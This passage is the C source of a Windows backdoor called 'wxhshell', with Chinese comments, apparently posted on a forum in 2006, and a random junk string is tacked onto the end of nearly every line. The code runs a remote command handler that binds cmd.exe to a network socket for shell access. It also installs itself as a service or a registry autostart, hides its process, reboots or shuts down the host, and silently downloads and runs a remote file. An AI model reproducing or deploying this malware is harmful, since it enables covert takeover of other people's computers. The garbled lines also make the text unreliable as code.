  } Rh[%UNl  
  else { _y,? Cj=u|  
s/;iZiWK  
    switch(cmd[0]) { 8f\sG:$  
  +A 4};]W|  
  // 帮助 @w%{yzr%  
  case '?': { b,Z\{M:f;F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =B0#z]qu  
    break; Gu3# y"a>  
  } &YSjwRr  
  // 安装 (?G?9M#7_  
  case 'i': { gPo3jwo$  
    if(Install()) |#y+iXTJ   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z'FpP  
    else _'W en  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J%Cn  
    break; @v#]+9F  
    }  Uz;z  
  // 卸载 Wfw6(L  
  case 'r': { {Q%"{h']  
    if(Uninstall()) 8lI'[Y?3.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3gUGfe di  
    else BI BBp=+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mbij& 0  
    break; O|5Z-r0<  
    } _P^ xX'v  
  // 显示 wxhshell 所在路径 ^an3&  
  case 'p': { Gkc.HFn(  
    char svExeFile[MAX_PATH]; *dTI4k  
    strcpy(svExeFile,"\n\r"); o7qZy |\4S  
      strcat(svExeFile,ExeFile); ai3wSUYJi  
        send(wsh,svExeFile,strlen(svExeFile),0); TQor-Cymz  
    break; '@{'T LMCi  
    } 2feiD?0  
  // 重启 Vy- kogVt  
  case 'b': { u_;&+o2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LD.^.4{c:  
    if(Boot(REBOOT)) [m}58?0~x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y;.U-}e1  
    else { ,KfBG<3   
    closesocket(wsh); M%\=Fb  
    ExitThread(0); F$|Ec9  
    } 62}rZVJq  
    break; 8 2EH'C  
    } l]bCt b%_  
  // 关机 shn{]Y  
  case 'd': { QSaJb?I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `egyk)"aM  
    if(Boot(SHUTDOWN)) _&U5 u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A9?h*/$  
    else { /]_a\x5Ss  
    closesocket(wsh); {J?#KHF'|  
    ExitThread(0); x ]6wiV  
    } qoifzEc`U  
    break; ug|'}\LY  
    } }'"4q  
  // 获取shell #dd-rooQuD  
  case 's': { C6!P8qX  
    CmdShell(wsh); B!;qz[]I  
    closesocket(wsh); AP2BND9  
    ExitThread(0); cAL*Md8+  
    break; "TLY:V  
  } YFGQPg  
  // 退出 SWrt4G  
  case 'x': { ,X&(BQj h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T!iRg=<bz  
    CloseIt(wsh); snl$v  
    break; voD0 u  
    } >h[ {_+  
  // 离开 MPn 6sf9M  
  case 'q': { $69ef[b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m^9[k,;K  
    closesocket(wsh); [pc6!qhDG&  
    WSACleanup(); W@T_-pTCjK  
    exit(1); hDP&~Mk  
    break; M_ GN3  
        } B uv4&.Z}  
  } :epjJ1mW  
  } 9rCvnP=  
jP{W|9@ (  
  // 提示信息 @S-p[u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _6"YWR  
} -f4>4@y  
  } t$*V*gK{  
E&RiEhuv  
  return; 0Xke26ga  
} T VuDK  
TqZ&X| G  
// shell模块句柄 DaK2P;WP  
int CmdShell(SOCKET sock) PCx] >&  
{ |, Lp1  
STARTUPINFO si; a9w1Z4  
ZeroMemory(&si,sizeof(si)); W,g0n=2V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HZG<aY="  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .t7mTpi  
PROCESS_INFORMATION ProcessInfo; !Q0aKkMfL  
char cmdline[]="cmd"; '(qVA>S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :kaHvf  
  return 0; Py3Y*YP  
} 0VA$ Ige  
uPp9 UW  
// 自身启动模式 + pq/:h  
int StartFromService(void) IhRYV`:  
{ -%h0`hOG{  
typedef struct 60A E~  
{ UP*\p79oO  
  DWORD ExitStatus; E2 5:e EXa  
  DWORD PebBaseAddress; RjOQSy3  
  DWORD AffinityMask; On^jHqLaE  
  DWORD BasePriority; )]^xy&:|  
  ULONG UniqueProcessId; _BA2^C':c{  
  ULONG InheritedFromUniqueProcessId; .ZB/!WiF  
}   PROCESS_BASIC_INFORMATION; (t{m(;/  
)Q!3p={S*  
PROCNTQSIP NtQueryInformationProcess; 4ZRE3^y\"  
.&Vy o<9Ck  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wb|xEwqd`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p{sbf;-x}  
W$l%= /  
  HANDLE             hProcess; hlgBx~S[  
  PROCESS_BASIC_INFORMATION pbi; |PI]v`[  
z ]d^%>Ef  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }`SXUM_sD`  
  if(NULL == hInst ) return 0; UB4M=R|  
`!K!+`Z9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #4iiY6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #]BpTpRAe<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c T[.T#I  
yD0,q%B`}  
  if (!NtQueryInformationProcess) return 0; K?4/x4p@  
+Yuy%VT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N~w4|q!]  
  if(!hProcess) return 0; bhI yq4N  
r%QnV0L^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U;QN+fF]u  
#kuk3}&  
  CloseHandle(hProcess); <MPoDf?h  
)bM #s">Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D>YbL0K>X~  
if(hProcess==NULL) return 0; jMT];%$[  
~HR/FGe?N  
HMODULE hMod; 6L2Si4OGjG  
char procName[255]; vfh0aW-O  
unsigned long cbNeeded; K]b_JDEk  
a zUEp8`|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kRyt|ryWh  
LB)sk$)  
  CloseHandle(hProcess); ]/_GHG9  
Hko(@z  
if(strstr(procName,"services")) return 1; // 以服务启动 CkJU5D  
%o~w  
  return 0; // 注册表启动 2WA =U]  
} mNvK|bTUT  
#2F 6}  
// 主模块 V<#E!MG  
int StartWxhshell(LPSTR lpCmdLine) " -Ie  
{ PR&D67:Jy  
  SOCKET wsl; /!r#=enG7  
BOOL val=TRUE; ) LA^j|Y}  
  int port=0; h%hE$2  
  struct sockaddr_in door; I& `>6=)  
'k9?n)<DW  
  if(wscfg.ws_autoins) Install(); `mI% Se  
]wMp`}$b@L  
port=atoi(lpCmdLine); 4HG@moYn@  
f[@M  
if(port<=0) port=wscfg.ws_port; 0P5!fXs*  
9}4EW4  
  WSADATA data; )6S;w7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "dKYJ&$  
$J~~.PUXQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +Oae3VFf;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >gt_C'  
  door.sin_family = AF_INET; XZcT-w 7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jJpSn[{  
  door.sin_port = htons(port); r "^ {?0  
I92c!`{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =,aWO7Pz  
closesocket(wsl); a?+Ni|+  
return 1; !f(aWrw7e6  
} :Rs% (Z  
)$#r6fQO  
  if(listen(wsl,2) == INVALID_SOCKET) { dh7PpuN{  
closesocket(wsl); !U,^+"l'GP  
return 1; 0I.9m[<Fc  
} 3X+uJb2  
  Wxhshell(wsl); !Q,A#N(  
  WSACleanup(); S=Ihg  
b}G4eXkuj  
return 0; a<.7q1F  
>.D0McQg  
} ;w(]z  
N.J;/!%!  
// 以NT服务方式启动 a0"gt"q A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )P^5L<q>|  
{ u}QB-oU  
DWORD   status = 0; eQk ~YA]K  
  DWORD   specificError = 0xfffffff; ub "(,k P  
5XNIX)H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3:$hC8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !b O8apn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JJnZbJti  
  serviceStatus.dwWin32ExitCode     = 0; n'/w(o$&  
  serviceStatus.dwServiceSpecificExitCode = 0; 7Q<uk[d0  
  serviceStatus.dwCheckPoint       = 0; dqMR<Nl&  
  serviceStatus.dwWaitHint       = 0; wHW";3w2~  
1i}Rc:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UarU.~Uqi  
  if (hServiceStatusHandle==0) return; U~8.uldnF  
&jgpeFiiC  
status = GetLastError(); PN{l)&K2.  
  if (status!=NO_ERROR) 29"eu#-Qj  
{ Q6y883>9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :&= TE2  
    serviceStatus.dwCheckPoint       = 0; 9.| +KIRb  
    serviceStatus.dwWaitHint       = 0; 4C(vBKl  
    serviceStatus.dwWin32ExitCode     = status; NyD[9R?  
    serviceStatus.dwServiceSpecificExitCode = specificError; D4yJ:ATO&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %3e}YQe)  
    return; DBl.bgf  
  } %zHNX4  
 6h N~<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @18"o"c7j  
  serviceStatus.dwCheckPoint       = 0; 40pGu  
  serviceStatus.dwWaitHint       = 0; ^e$;I8l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N2_j[Pe  
} (NUk{MTX  
f\"Qgn  
// 处理NT服务事件,比如:启动、停止 oK h#th  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7?K?-Oj  
{ 5y! 4ny _  
switch(fdwControl) d"+zDc;  
{ /)SwQgK#  
case SERVICE_CONTROL_STOP: ?@9kVB*|  
  serviceStatus.dwWin32ExitCode = 0; 9<5SQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; { p {a0*$5  
  serviceStatus.dwCheckPoint   = 0; rE"`q1b#  
  serviceStatus.dwWaitHint     = 0; ZVpMR0!  
  { [ADr _  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9`\hG%F  
  } v*5n$UFV  
  return; W|@EKE.k  
case SERVICE_CONTROL_PAUSE: (US]e un  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OpY2Z7_  
  break; Wy%q9x]}  
case SERVICE_CONTROL_CONTINUE: QP|Ou*Qm)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =+q9R`!L]  
  break; 2Z6#3~  
case SERVICE_CONTROL_INTERROGATE: lIO.LF3  
  break; R2Fh WiL  
}; Qi|jL*mj&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); buGW+TrWY  
} 3%m2$\  
yk Sn=0  
// 标准应用程序主函数 !v|j C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /-<S FT`  
{ zp r`  
<Mo_GTOC!  
// 获取操作系统版本 ]{V q;  
OsIsNt=GetOsVer(); ~oI7TP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vb06z3"r  
`pF|bZ?v  
  // 从命令行安装 \pZ,gF;y  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4EzmH)4G  
#M6@{R2_  
  // 下载执行文件 Y((s<]7  
if(wscfg.ws_downexe) { %y33evX/B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s bd;Kn  
  WinExec(wscfg.ws_filenam,SW_HIDE); *52*IRH  
} go/]+vD  
L,.Ae i9  
if(!OsIsNt) { .MuS"R{y  
// 如果时win9x,隐藏进程并且设置为注册表启动 !o 2" th  
HideProc(); Eom|*2vWIC  
StartWxhshell(lpCmdLine); `CW8Wj  
} !<]%V]5[_  
else  W-@A  
  if(StartFromService()) ;rpjXP  
  // 以服务方式启动 9@Yk8  
  StartServiceCtrlDispatcher(DispatchTable); S2K_>kvG)~  
else ^AMcZ6!\  
  // 普通方式启动 qSj2=dlW  
  StartWxhshell(lpCmdLine); A1@tp/L=o  
fi+u!Y*3Z  
return 0; ZAzn-n  
}
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只看该作者 1 发表于: 2006-10-10
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